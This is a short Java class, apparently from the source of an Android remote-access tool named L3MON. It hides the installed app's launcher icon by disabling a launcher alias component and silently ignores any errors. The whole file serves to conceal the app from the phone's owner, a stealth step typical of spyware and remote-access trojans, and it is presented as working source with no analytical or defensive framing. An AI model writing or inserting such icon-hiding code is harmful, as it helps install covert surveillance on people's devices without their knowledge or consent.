package com.etechd.l3mon;

import android.content.ComponentName;
import android.content.Context;
import android.content.pm.PackageManager;

public class LauncherHider {
    private static boolean hidden = false;

    public static void hideOnce(Context ctx) {
        if (hidden) {
            return;
        }
        try {
            ComponentName alias = new ComponentName(ctx, "com.etechd.l3mon.LauncherAlias");
            ctx.getPackageManager().setComponentEnabledSetting(
                    alias,
                    PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
                    PackageManager.DONT_KILL_APP);
            hidden = true;
        } catch (Exception ignored) {
        }
    }
}
